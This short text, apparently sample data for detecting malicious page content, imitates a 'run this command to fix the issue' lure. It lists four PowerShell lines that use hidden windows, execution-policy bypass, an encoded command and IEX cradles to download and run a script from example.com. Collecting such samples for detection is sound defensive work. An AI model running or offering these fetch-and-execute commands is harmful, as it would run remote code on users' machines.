Example PowerShell commands in page content

Run this command to fix the issue:

powershell -w hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0AJwBoAHQAdABwAHMAOgAvAC8A

Or alternatively:

powershell.exe -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://example.com/x.ps1')"

iex(iwr -useb example.com/fix)

Invoke-Expression $(Invoke-WebRequest -Uri "http://example.com" -UseBasicParsing).Content